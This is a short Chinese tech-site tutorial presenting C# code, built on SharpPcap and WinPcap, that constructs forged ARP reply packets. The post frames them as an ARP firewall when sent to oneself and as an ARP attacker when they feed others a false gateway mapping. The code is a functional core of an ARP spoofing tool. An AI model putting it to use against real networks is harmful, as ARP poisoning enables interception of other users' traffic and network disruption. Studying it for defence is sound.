• 热门专题

c# 写的ARP攻击器和ARP防火墙

作者:佚名  发布日期:2011-07-26 15:41:31
Tag标签:c#  ARP攻击器  ARP防火墙  
  •      首先你要先看看ARP是什么东西,我就不给你讲了。知道原理就行。

    我这个代码是调用开源项目SharpPcap开源的网络捕获项目http://sourceforge.net/projects/sharppcap/。

      这个项目和所有sniffer软件一样,是用wincap库的。需要安装wincap。http://www.winpcap.org/

     

    核心代码贴出了,就是这么简单,手动构造ARP数据包,然后通过sharppcap里的库发送出去。。。

    不停的发给自己正确的网关,那就是ARP防火墙。

    不停的发给别人错误的网关,那就是ARP攻击器。

     

    /// <summary>   
         /// 获取数据包   
         /// </summary>   
         /// <returns></returns>   
         public byte[] getPacket(byte[] yIP,byte[] mIP,byte[] yMAC,byte[] mMAC)  
         {  
             //ARP数据包   
             byte[] packet = new byte[] { 0xe0, 0xcb, 0x4e, 0x2f, 0x8a, 0xc7, 0x00, 0x23, 0xcd, 0x34, 0x20, 0x0e, 0x08, 0x06, 0x00, 0x01, 0x08, 0x00, 0x06, 0x04, 0x00, 0x02, 0x00, 0x23, 0xcd, 0x34, 0x20, 0x0e, 0xc0, 0xa8, 0x01, 0x01, 0xe0, 0xcb, 0x4e, 0x2f, 0x8a, 0xc7, 0xc0, 0xa8, 0x01, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5d, 0x27, 0xa1, 0xb5};  
      
             //循环替换IP   
             for (int i = 0; i < 4; i++)  
             {  
                 packet[i + 28] = yIP[i];  
      
                  
                 packet[i + 38] = mIP[i];  
             }  
      
             //循环替换MAC   
             for (int i = 0; i < 6; i++)  
             {  
                 packet[i+ 22] = yMAC[i];  
                 packet[i] = mMAC[i];  
                 packet[i+6] = yMAC[i];   
                 packet[i + 32] = mMAC[i];  
             }  
      
             return packet;  
         }  
    
About IT165 - 广告服务 - 隐私声明 - 版权申明 - 免责条款 - 网站地图 - 网友投稿 - 联系方式
本站内容来自于互联网,仅供用于网络技术学习,学习中请遵循相关法律法规